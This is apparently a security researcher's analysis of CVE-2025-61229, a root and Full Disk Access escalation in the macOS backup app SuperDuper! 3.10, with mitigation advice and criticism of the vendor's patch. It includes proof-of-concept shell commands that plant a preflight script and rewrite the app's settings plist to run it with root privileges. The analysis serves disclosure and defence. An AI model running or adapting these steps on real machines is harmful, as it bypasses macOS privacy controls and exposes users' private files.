## https://sploitus.com/exploit?id=147CD5FB-DA72-56F4-ABA6-13477531C185
### CVE-2025-61229
## Description ##
From the developer's blog:
> User-settable Before/After shell scripts run escalated, with SuperDuper's TCC Full Disk Access permissions. Since those shell scripts are referenced by the settings files for the copy or schedule, a malicious actor could modify those settings to run their own script.
From the CVE:
> An issue in Shirt Pocket's SuperDuper! 3.10 and earlier allow a local attacker to modify the default task template to execute an arbitrary preflight script with root privileges and Full Disk Access, thus bypassing macOS privacy controls.
## Attribution ##
This author is not the discoverer of the vulnerability, who is identified by the SuperDuper developer as "anonymous security researcher". I claim no credit for discovering this vulnerability, I just took some interest in doing a technical analysis of it.
## References ##
- [SuperDuper Security Update v3.11](https://www.shirtpocket.com/blog/index.php/shadedgrey/comments/superduper_security_update_v311/)
- [CVE-2025-61229](https://vulners.com/cve/CVE-2025-61229)
CVSS 3.1 Score: [7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)](https://nvd.nist.gov/vuln/detail/CVE-2025-61229)
## Mitigation
To avoid this vulnerability, either delete the SuperDuper! application, or apply the 3.11 update.
**Warning: You must download the update directly from the developer's website to avoid the CVE-2025-61228 vulnerability.**
## Disclaimer
This exploit analysis and proof of concept is provided for educational purposes only. Use it at your own risk.
## High-level summary
Root privileges and Full Disk Access are the highest privileges that software can attain on macOS. Any developer that asks for those privileges should be writing software that adheres to modern security design principles and best practices. This vulnerability, as well as those exposed in [CVE-2025-57489](https://github.com/graypixel2121/CVE-2025-57489) and [CVE-2025-61228](https://github.com/graypixel2121/CVE-2025-61228), and even the developer's own admission that these problems have persisted for **22 years**, demonstrate that SuperDuper was not *designed* to be a secure product, and has not seen regular design improvements over 22 years to adhere to modern security best practices.
SuperDuper task settings continue to be inherently insecure in the current (3.11) version of the product. I would advise anyone using this product to discontinue its use until the developer can provide a competent update that thoroughly resolves all of the aforementioned the security concerns.
## Analysis: Modern software should not be making careless security mistakes like this
This vulnerability was a lot easier to exploit than the previous two exploits (CVE-2025-57489 and CVE-2025-61228) โ frankly it was just too easy. When a vulnerability is this obvious, easy to exploit, and has gone unaddressed for decades, you start to wonder if writing secure software is important to the developer.
Starting with [a vulnerable version of the application](https://shirt-pocket.com/downloads/SuperDuper%21+v3.10+B5.dmg), the first thing we need to do is find where this "default task template" lives. The obvious first place to look would be ~/Library/Application Support/{vendor/product name}. Bang-on, there are three folders in ~/Library/Application Support/SuperDuper!:
- Copy Scripts
- Saved Settings
- Scheduled Copies
"Copy Scripts" has only a symlink to a folder in the application bundle, so that's out. Inside of Saved Settings there is a hidden folder named ".Default Settings.sdsp". Inside of that folder there is a "Logs" folder and a single file named "Session Settings.sdss" that is in plist format. The Session Settings file is owned by the logged-in user, and yep, there are all of the task settings, just sitting there naked in this file.
The before/after scripts are controlled by four settings:
```
SDbeforeCopyScript
SDsiteCustomizationScript
SDshouldInvokeBeforeCopyScript
SDshouldInvokeSiteCustomizationScript
```
This simple test script will prove both aspects of the vulnerability:
```
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
```
Then just edit the "Session Settings.sdss" plist. The `defaults` utility will make short work of it, but we'll need to make a copy of this file because `defaults` requires a file with a .plist suffix:
```
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
```
Open SuperDuper and run a backup. When it's done, look for the "private_data.txt" file in /Library (it should have a list of files from your Desktop, which would only be accessible to an application that has the special privilege of accessing that private data). Honestly I'm just a little bit surprised at how vulnerable the task settings are. "Are" is not a typo. Here is how the developer describes the "solution" for this vulnerability:
> To mitigate this vulnerability, in v3.11 we've made two changes:
>
> 1. Before/After shell scripts are forced to run with the user's ID and privileges. Individuals who require alternative execution contexts can do so through normal Unix methods such as suid.
>
> 2. Scripts must be owned by the root user, even when run in the normal user's context. This ensures that any script that would run has been explicitly authorized by an administrative user.
So they imposed some limitations on what can be run as a before/after script, but they do not appear to have improved the security of the task settings file. Unfortunately this is only effective at limiting the attacker from doing anything productive. The only requirement on the before/after shell script is that it be owned by root. Aside from that, the attacker is still given free reign to modify the default task settings template. This is completely absurd. Maybe an attacker can't use these before/after scripts to exfiltrate your passwords and financial data, but I bet they could wreak some havoc by specifying any random built-in shell tool (most of which meet the root ownership requirement). Go ahead and plug in the "/usr/bin/say" utility as a Before script and see what happens โ this would be hilarious if data security wasn't such a serious topic. None of the built-in utilities will have *significant* impact without the ability to modify the arguments, but some of them could cause some annoyance and will definitely cause the backup to fail.
My point is that there is a difference between "avoiding a root exploit" vs. "writing secure software". The developer has largely managed to avoid two root exploit opportunities here, but the task configuration is still inherently insecure. Any rando can modify the task settings "behind the scenes", and if you're not paying attention, those changes could have some sort of impact on your data or your backup.
You also have to wonder if this lack of security on the other settings could still be exploited.